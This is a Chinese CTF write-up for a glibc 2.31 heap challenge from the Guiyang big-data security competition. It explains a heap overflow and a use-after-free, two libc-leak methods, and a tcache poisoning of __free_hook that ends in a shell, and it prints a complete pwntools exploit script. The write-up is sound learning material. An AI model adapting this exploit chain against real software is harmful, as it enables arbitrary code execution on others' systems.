贵阳大数据及网络安全精英对抗赛

文章发布时间:

最后更新时间:

文章总字数:
1.5k

预计阅读时间:
6 分钟

就搞到一题附件 做了下发现对于只能操控单个chunk的利用手法不够熟练 于是用博客记录一下思路

image-20230502114845031

libc版本是2.31 保护机制中规中矩 反正是个堆 都大差不差

1
2
3
4
5
6
7
8
9
10
11
12
13
void *add()
{
void *v1; // [rsp-18h] [rbp-18h]

printf("size: ");
__isoc99_scanf("%llu", &nbytes);
if ( v1 != ptr )
v1 = malloc(nbytes);
printf("data: ");
read(0, v1, nbytes);
puts("Create Complete!");
return v1;
}

add函数 只能操控一个chunk 不过这里的检查有漏洞 如果已经有一个chunk了 跳过的只是malloc的部分 输入data和size的并不受限 所以这里存在一个堆溢出漏洞

1
2
3
4
5
6
7
8
9
10
11
12
int delete()
{
int result; // eax

result = (int)ptr;
if ( ptr )
{
free(ptr);
result = puts("Delete Complete");
}
return result;
}

delete函数 明显存在一个UAF漏洞

1
2
3
4
5
6
7
8
9
int show()
{
int result; // eax

result = (int)ptr;
if ( ptr )
result = printf("Your Note: %s\n", (const char *)ptr);
return result;
}

show函数 调用printf打印堆块内容

1
2
3
4
5
6
7
8
9
10
11
int edit()
{
void *v1; // [rsp-8h] [rbp-8h]

if ( !ptr )
return puts("zero note!");
v1 = ptr;
printf("NewData: ");
read(0, v1, nbytes);
return puts("Edit Complete!");
}

edit函数 用来编辑堆块内容

那么总结下来 就是只能同时控制一个chunk 但是可以利用的漏洞都给了 这种情况下 我想到的是通过填满tcachebin的链表 从而申请到fastbin chunk 随后利用malloc_consolidate来把fastbin chunk放入到smallbin中 从而利用UAF泄露libc基址

还有一种办法是学习enllus1on师傅的 利用堆溢出覆盖top chunk的size 从而再次申请一个大chunk 于是就会重新分配一个top chunk 并且把原来的释放到unsortedbin中 这样也可以泄露libc基址

下面两种办法都演示一遍

1
2
3
4
5
6
7
add(0x30,b'aaaa')
delete()
for i in range(7):
edit(cyclic(0x10))
delete()
add(0x80,b'aaaa')
bigchunk()

这里来实现double free的原理是因为tcache高版本新加入的key 位于bk域 只要覆盖key 就可以绕过double free检测

此时我们成功把fastbin中的chunk释放进入smallbin

image-20230502120334818

1
2
3
4
5
delete()
add(0x30,b'1')
show()
libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-1-0x1ebc30
success("libc_addrr :"+hex(libc_addr))

随后就是重新申请这块空间 注意一下覆盖末位的值 需要减去 这样就成功获取到了libc基址

还有一种办法 先利用堆溢出覆盖top chunk的size 注意这个size要使得top chunk起始地址+size刚好到一个页的起始

1
2
3
4
add(0x10, '\x00')
payload = b'\x00'*0x18 + p64(0xd51)
add(len(payload), payload)
delete()

image-20230502120735504

此时申请一个比top chunk大的chunk top chunk就会被释放进入unsortedbin

1
add(0x1000, 'aaaa')

image-20230502121414272

那么我们从unsortedbin中申请出来一个chunk 就可以泄露出libc基址

1
2
3
4
5
6
7
delete()
add(0x20, '1')
show()
libc_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1ebbe0-0x551
success("libc_addr :"+hex(libc_addr))
free_hook = libc_addr + libc.sym["__free_hook"]
system_addr = libc_addr + libc.sym["system"]

接下来就是如何实现任意写了 由于只能控制一个chunk 所以哪怕我们有double free 也没有办法申请出来任意地址的chunk 所以我们需要把size域更改 使得chunk被重新释放时进入其他链表 从而使得原来的链表保留任意写的地址 听不懂没有关系 接下来来详解一下

1
2
3
delete()
edit(p64(0)*2)
delete()

首先 利用老办法来构造一个double free的链表

image-20230502122436781

此时 tcachebin中有两个链表 并且二者是物理相邻的 我们先申请出低地址处的0x20的链表 为了堆溢出覆盖到下一个chunk

1
2
3
add(0x10,'aaaa')
payload = cyclic(0x18)+p64(0x51)+p64(free_hook-0x8)
add(len(payload),payload)

image-20230502122545391

可以看到此时size域被修改了 并且链表中写入了我们的目标地址 之所以要减去8 是因为只能控制一个chunk 如果我们想要采用覆盖free_hook的办法来获取shell 那么被释放的chunk首地址一定要为/bin/sh或者其他能够getshell的参数

1
2
delete()
add(0x20,b'aaaa')

image-20230502122727466

此时把0x30的链表中申请出来 那么此时供我们控制的chunk指针也就是0x55e70eeee2b0这个 如果我们再次释放chunk呢

此时就会把这个chunk释放到0x50的链表中 和我们0x30链表中任意写的地址错位开 那么此时再次申请0x20大小的chunk 就可以达到任意写的目的了

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import*
from ctypes import *
io = process("./pwn")
#io = remote("59.110.164.72",10001)
elf = ELF("./pwn")
context.terminal = ['tmux','splitw','-h']
#libc = ELF("./ld-linux.so.2")
libc = ELF("./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so")
#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
context.arch = "amd64"
context.log_level = "debug"
def debug():
gdb.attach(io)
pause()

def add(size,payload):
io.recvuntil("choice: ")
io.sendline(b'1')
io.recvuntil("size: ")
io.sendline(str(size))
io.recvuntil("data: ")
io.send(payload)
def delete():
io.recvuntil("choice: ")
io.sendline(b'2')
def show():
io.recvuntil("choice: ")
io.sendline(b'3')
def edit(payload):
io.recvuntil("choice: ")
io.sendline(b'4')
io.recvuntil("NewData: ")
io.send(payload)
def bigchunk():
io.recvuntil("choice: ")
io.sendline(b'1'*0x1000)
# add(0x30,b'aaaa')
# delete()
# for i in range(7):
# edit(cyclic(0x10))
# delete()
# add(0x80,b'aaaa')
# bigchunk()
# delete()
# add(0x30,b'1')
# show()
# libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-1-0x1ebc30
# success("libc_addrr :"+hex(libc_addr))
# debug()



add(0x10, '\x00')
payload = b'\x00'*0x18 + p64(0xd51)
add(len(payload), payload)
delete()
add(0x1000, 'aaaa')
delete()
add(0x20, '1')
show()
libc_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1ebbe0-0x551
success("libc_addr :"+hex(libc_addr))
free_hook = libc_addr + libc.sym["__free_hook"]
system_addr = libc_addr + libc.sym["system"]

delete()
edit(p64(0)*2)
delete()
add(0x10,'aaaa')
payload = cyclic(0x18)+p64(0x51)+p64(free_hook-0x8)
add(len(payload),payload)
delete()
add(0x20,b'aaaa')
delete()
add(0x20,b'/bin/sh\x00'+p64(system_addr))
delete()
io.interactive()